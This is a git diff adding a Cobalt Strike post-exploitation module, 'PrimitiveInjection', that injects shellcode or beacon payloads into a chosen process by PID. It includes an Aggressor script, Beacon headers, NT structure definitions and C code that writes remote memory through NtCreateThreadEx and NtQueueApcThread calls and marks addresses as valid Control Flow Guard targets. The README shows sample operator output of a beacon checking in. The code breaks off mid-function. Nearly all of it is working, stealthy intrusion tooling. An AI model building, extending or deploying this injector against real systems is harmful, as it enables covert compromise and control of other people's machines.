diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..21d3fc9 --- /dev/null +++ b/Makefile @@ -0,0 +1,6 @@ +BOFNAME := primitiveinj +CC_x64 := x86_64-w64-mingw32-gcc + +all: + $(CC_x64) -o $(BOFNAME).x64.o -c entry.c + diff --git a/PrimitiveInjection.cna b/PrimitiveInjection.cna new file mode 100644 index 0000000..3570204 --- /dev/null +++ b/PrimitiveInjection.cna @@ -0,0 +1,64 @@ +beacon_command_register( +"primitive_shinject", +"Primitive Injection", +"Usage: primitive_shinject PID path_to_bin\n"); + +beacon_command_register( +"primitive_inject", +"Primitive Injection", +"Usage: primitive_shinject PID listener_name"); + +alias primitive_shinject { + local('$handle $data $args $sc_data'); + + # figure out the arch of this session + $barch = barch($1); + + # read in the right BOF file + $handle = openf(script_resource("primitiveinj. $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + + $sc_handle = openf($3); + $sc_data = readb($sc_handle, -1); + closef($sc_handle); + + # pack our arguments + $args = bof_pack($1, "ib", $2, $sc_data); + + btask($1, "Primitive Injection (thanos)"); + btask($1, "Reading shellcode from: $+ $3"); + + # execute it. + beacon_inline_execute($1, $data, "go", $args); +} + +alias primitive_inject { + local('$handle $data $args'); + + # figure out the arch of this session + $barch = barch($1); + + + # read in the right BOF file + $handle = openf(script_resource("primitiveinj. $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + + if (listener_info($3) is $null) { + berror($1, "Could not find listener $3"); + } + else { + # Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit. + $sc_data = payload($3, "x64", "thread"); + + # pack our arguments + $args = bof_pack($1, "ib", $2, $sc_data); + + btask($1, "Primitive Injection (thanos)"); + btask($1, "Using $+ $3 $+ listener for beacon shellcode generation."); + + # execute it. + beacon_inline_execute($1, $data, "go", $args); + } +} diff --git a/README.md b/README.md index ec2c932..72a405f 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,81 @@ # PrimitiveInjection -PrimitiveInjection by using Read, Write and Allocation Primitives. +PrimitiveInjection BOF POC by using Read, Write and Allocation Primitives. + +## Usage + +This BOF registers 2 commands, +primitive_shinject to inject any shellcode to a PID. +``` +primitive_shinject PID path_to_bin +3/08 13:06:21 UTC [task] <> Primitive Injection (thanos) +03/08 13:06:21 UTC [task] <> Reading shellcode from: /home/test/beacon.bin +03/08 13:06:27 UTC [checkin] host called home, sent: 321455 bytes +03/08 13:06:28 UTC [output] +received output: +[+] Peb Address: 0x0000000001118000 + + +03/08 13:06:28 UTC [output] +received output: +[+] Read 8 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Heap Base Addr: 0000000001330000 + + +03/08 13:06:28 UTC [output] +received output: +[+] Heap Allocation: 000000000A0FBBB0 + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 1232 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 8 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Heap Allocation: 000000000169AD30 + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 1232 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 8 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Heap Allocation: 000000000169C700 + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 1232 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 8 bytes + + +03/08 13:06:28 UTC [output] +received output: +[+] Wrote 312271 bytes +``` +primitive_inject to inject to a PID the shellcode of a listener in cobalt +``` +primitive_inject PID listener_name +``` + diff --git a/beacon.h b/beacon.h new file mode 100644 index 0000000..3613159 --- /dev/null +++ b/beacon.h @@ -0,0 +1,61 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/dep.h b/dep.h new file mode 100644 index 0000000..2aea20b --- /dev/null +++ b/dep.h @@ -0,0 +1,365 @@ +#pragma once +#pragma intrinsic(memcmp) +#include + + +WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId); +WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode); +WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName); +WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags,SIZE_T uBytes); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem); +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); + +#define NtCurrentProcess() ((HANDLE) -1) +#define NtCurrentThread() ((HANDLE) -2) +#define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva) + + +typedef VOID(KNORMAL_ROUTINE) ( + IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2); + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} +#endif + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + + +typedef struct _USER_STACK +{ + PVOID FixedStackBase; + PVOID FixedStackLimit; + PVOID ExpandableStackBase; + PVOID ExpandableStackLimit; + PVOID ExpandableStackBottom; +} USER_STACK, *PUSER_STACK; + +typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; + +typedef NTSTATUS(NTAPI*pNtCreateThreadEx)( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN SIZE_T ZeroBits, + IN SIZE_T StackSize, + IN SIZE_T MaximumStackSize, + IN PVOID AttributeList OPTIONAL); + +typedef NTSTATUS(NTAPI*pNtQueueApcThread)( + IN HANDLE ThreadHandle, + IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1 OPTIONAL, + IN PVOID ApcArgument2 OPTIONAL, + IN PVOID ApcArgument3 OPTIONAL); + +typedef DWORD(NTAPI*pRtlQueryDepthSList)(ULONG_PTR* pValue); + +typedef NTSTATUS(NTAPI*pNtResumeThread)( + IN HANDLE ThreadHandle, + OUT PULONG SuspendCount OPTIONAL); + +typedef NTSTATUS(NTAPI*pNtTestAlert)(); + +typedef LONG KPRIORITY; + +typedef void* PRTL_USER_PROCESS_PARAMETERS; +typedef void* PPS_POST_PROCESS_INIT_ROUTINE; + +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE _SYSTEM_DEPENDENT_01; + + LPVOID Mutant; + LPVOID ImageBaseAddress; + + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + LPVOID SubSystemData; + LPVOID ProcessHeap; + LPVOID FastPebLock; + LPVOID _SYSTEM_DEPENDENT_02; + LPVOID _SYSTEM_DEPENDENT_03; + LPVOID _SYSTEM_DEPENDENT_04; + union { + LPVOID KernelCallbackTable; + LPVOID UserSharedInfoPtr; + }; + DWORD SystemReserved; + DWORD _SYSTEM_DEPENDENT_05; + LPVOID _SYSTEM_DEPENDENT_06; + LPVOID TlsExpansionCounter; + LPVOID TlsBitmap; + DWORD TlsBitmapBits[2]; + LPVOID ReadOnlySharedMemoryBase; + LPVOID _SYSTEM_DEPENDENT_07; + LPVOID ReadOnlyStaticServerData; + LPVOID AnsiCodePageData; + LPVOID OemCodePageData; + LPVOID UnicodeCaseTableData; + DWORD NumberOfProcessors; + union + { + DWORD NtGlobalFlag; + LPVOID dummy02; + }; + LARGE_INTEGER CriticalSectionTimeout; + LPVOID HeapSegmentReserve; + LPVOID HeapSegmentCommit; + LPVOID HeapDeCommitTotalFreeThreshold; + LPVOID HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + LPVOID ProcessHeaps; + LPVOID GdiSharedHandleTable; + LPVOID ProcessStarterHelper; + LPVOID GdiDCAttributeList; + LPVOID LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + LPVOID ImageSubsystemMinorVersion; + union + { + LPVOID ImageProcessAffinityMask; + LPVOID ActiveProcessAffinityMask; + }; +#ifdef _WIN64 + LPVOID GdiHandleBuffer[64]; +#else + LLPVOID GdiHandleBuffer[32]; +#endif + LPVOID PostProcessInitRoutine; + LPVOID TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + LPVOID SessionId; + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + LPVOID pShimData; + LPVOID AppCompatInfo; + PUNICODE_STRING CSDVersion; + LPVOID ActivationContextData; + LPVOID ProcessAssemblyStorageMap; + LPVOID SystemDefaultActivationContextData; + LPVOID SystemAssemblyStorageMap; + LPVOID MinimumStackCommit; +} PEB, * PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + KAFFINITY AffinityMask; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege) + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed) + ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 + ProcessAffinityMask, // qs: KAFFINITY, qs: GROUP_AFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // q: HANDLE // 30 + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: IO_PRIORITY_HINT + ProcessExecuteFlags, // qs: ULONG + ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION + ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation + ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // q: ULONG[] // since WINBLUE + ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG) + ProcessCommandLineInformation, // q: UNICODE_STRING // 60 + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5] + ProcessAllowedCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5] + ProcessSubsystemProcess, + ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO + ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70 + ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables + ProcessIumChallengeResponse, + ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION + ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege) + ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES + ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE + ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY + ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER + ProcessDisableSystemAllowedCpuSets, // 80 + ProcessWakeInformation, // PROCESS_WAKE_INFORMATION + ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE + ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ProcessCaptureTrustletLiveDump, + ProcessTelemetryCoverage, + ProcessEnclaveInformation, + ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION + ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION + ProcessImageSection, // q: HANDLE + ProcessDebugAuthInformation, // since REDSTONE4 // 90 + ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT + ProcessSequenceNumber, // q: ULONGLONG + ProcessLoaderDetour, // since REDSTONE5 + ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION + ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION + ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION + ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION + ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 + ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION + ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100 + ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION + ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2 + ProcessCreateStateChange, // since WIN11 + ProcessApplyStateChange, + ProcessEnableOptionalXStateFeatures, + ProcessAltPrefetchParam, // since 22H1 + ProcessAssignCpuPartitions, + ProcessPriorityClassEx, + ProcessMembershipInformation, + ProcessEffectiveIoPriority, + ProcessEffectivePagePriority, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef NTSTATUS(NTAPI*pNtQueryInformationProcess) ( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +typedef NTSTATUS(NTAPI*pNtWaitForSingleObject)( + HANDLE Handle, + BOOLEAN Alertable, + PLARGE_INTEGER Timeout +); + +typedef NTSTATUS(NTAPI*pNtContinue)( + PCONTEXT ThreadContext, + BOOLEAN RaiseAlert); + +typedef NTSTATUS(NTAPI*pNtGetContextThread)( + HANDLE ThreadHandle, + PCONTEXT pContext); + +typedef NTSTATUS(WINAPI*pSetProcessValidCallTargets)( + HANDLE hProcess, + LPVOID VirtualAddress, + SIZE_T RegionSize, + ULONG NumberOfOffsets, + PCFG_CALL_TARGET_INFO CfgCallInfo + ); diff --git a/entry.c b/entry.c new file mode 100644 index 0000000..6bf6591 --- /dev/null +++ b/entry.c @@ -0,0 +1,274 @@ +#ifndef _WIN64 +#error This code must be compiled with a 64-bit version of MSVC +#endif + +#include +#include +#include +#include +#include +//#include +#include "beacon.h" +#include "dep.h" + +//#pragma comment(lib, "advapi32.lib") +//#pragma comment(lib, "shell32.lib") +//#pragma comment(lib, "user32.lib") +//#pragma warning(disable : 4047) + +PVOID CustomCopy(PVOID Destination, CONST PVOID Source, SIZE_T Length) +{ + PBYTE D = (PBYTE)Destination; + PBYTE S = (PBYTE)Source; + + while (Length--) + *D++ = *S++; + + return Destination; +} + +VOID WINAPI CfgAddressAdd(ULONG_PTR ImageBase, ULONG_PTR Function, HANDLE hProc, int offset) +{ + CFG_CALL_TARGET_INFO Cfg = { 0 }; + SIZE_T Len = { 0 }; + PIMAGE_NT_HEADERS Nth = NULL; + + Nth = (PIMAGE_NT_HEADERS)RVA(PIMAGE_DOS_HEADER, ImageBase, ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew); + Len = (Nth->OptionalHeader.SizeOfImage + 0x1000 - 1) & ~(0x1000 - 1); + + Cfg.Flags = CFG_CALL_TARGET_VALID; + Cfg.Offset = Function - ImageBase; + pSetProcessValidCallTargets FSetProcessValidCallTargets = (pSetProcessValidCallTargets)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernelbase.dll"), "SetProcessValidCallTargets"); + BOOL res = FSetProcessValidCallTargets(hProc, (PVOID)ImageBase, Len, offset, &Cfg); + if (!res) { + BeaconPrintf(CALLBACK_ERROR,"[X] Failed to disable CFG on NtContinue\n"); + } +}; + +LPVOID getPeb(HANDLE hProc, HMODULE module) { + pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)KERNEL32$GetProcAddress(module, "NtQueryInformationProcess"); + PROCESS_BASIC_INFORMATION info; + MSVCRT$memset(&info, 0, sizeof(info)); + DWORD retLength; + NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), &retLength); + return info.PebBaseAddress; +} + +LPVOID RemoteAllocation(HANDLE hProc, LPVOID HeapAddr, int sizeofVal, HMODULE module) { + LPVOID mallocc = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("msvcrt.dll"), "malloc"); + pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx"); + pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject"); + + HANDLE hThread = NULL; + NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, mallocc, (PVOID)sizeofVal, FALSE, 0, 0, 0, NULL); + NtWaitForSingleObject(hThread, FALSE, NULL); + DWORD ExitCode = 0; + KERNEL32$GetExitCodeThread(hThread, &ExitCode); + DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode; + BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Allocation: %p\n", heapAllocation); + return (LPVOID)heapAllocation; +} + +void WriteRemoteMemory(HANDLE hProc, LPVOID heapAllocation, int sizeofVal, unsigned char* buffer, HMODULE module) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote %i bytes\n", sizeofVal); + pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx"); + pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread"); + pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread"); + pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject"); + + LPVOID RtlFillMemory = KERNEL32$GetProcAddress(module, "RtlFillMemory"); + LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread"); + LPVOID RtlInitializeBitMapEx = KERNEL32$GetProcAddress(module, "RtlInitializeBitMapEx"); + + HANDLE hThread2 = NULL; + NtCreateThreadEx(&hThread2, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0, 0, NULL); + int alignmentCheck = sizeofVal % 16; + int offsetMax = sizeofVal - alignmentCheck; + int firCounter = 0; + int eightCounter = 0; + int secCounter = 0; + int mod = 0; + + if (sizeofVal >= 16) { + for (firCounter = 0; firCounter < offsetMax -1; firCounter = firCounter + 16) { + char* heapWriter = (char*)heapAllocation + firCounter; + NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter + 8), (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter)); + } + } + + if (alignmentCheck >= 8) { + for (eightCounter = firCounter; (eightCounter + 8) < (firCounter + alignmentCheck -1); eightCounter = eightCounter + 8) { + char* heapWriter = (char*)heapAllocation + eightCounter; + NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, NULL, (PVOID)*(ULONG_PTR*)((char*)buffer + eightCounter)); + } + alignmentCheck -= 8; + } + + if (alignmentCheck != 0 && alignmentCheck < 8) { + + if ((firCounter != 0 && eightCounter != 0) || (firCounter != 0 && eightCounter != 0)){ + secCounter = eightCounter; + mod = eightCounter; + } + else if (firCounter != 0 && eightCounter == 0){ + secCounter = firCounter; + mod = firCounter; + } + + for (; secCounter < (mod + alignmentCheck); secCounter++) { + char* heapWriter = (char*)heapAllocation + secCounter; + NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlFillMemory, (PVOID)heapWriter, (PVOID)1, (PVOID)buffer[secCounter]); + } + } + + NtResumeThread(hThread2, NULL); + NtWaitForSingleObject(hThread2, FALSE, NULL); +} + +unsigned char* ReadRemoteMemory(HANDLE hProc, LPVOID addrOf, int sizeofVal, HMODULE module) { + + pRtlQueryDepthSList RtlQueryDepthSList = (pRtlQueryDepthSList)KERNEL32$GetProcAddress(module, "RtlQueryDepthSList"); + pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx"); + pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject"); + + BeaconPrintf(CALLBACK_OUTPUT, "[+] Read %i bytes\n", sizeofVal); + unsigned char* readBytes = (unsigned char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 8); + DWORD dwDataLength = sizeofVal; + for (DWORD i = 0; i < dwDataLength; i = i + 2) + { + HANDLE hThread = NULL; + NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, RtlQueryDepthSList, (ULONG_PTR*)((BYTE*)addrOf + i), FALSE, 0, 0, 0, NULL); + DWORD ExitCode = 0; + NtWaitForSingleObject(hThread, FALSE, NULL); + KERNEL32$GetExitCodeThread(hThread, &ExitCode); + if (dwDataLength - i == 1) + { + CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 1); + } + else + { + CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 2); + } + } + return readBytes; +} + +VOID InjectShellcode(HANDLE hProc, INT64 heapAddress, HMODULE module, char* 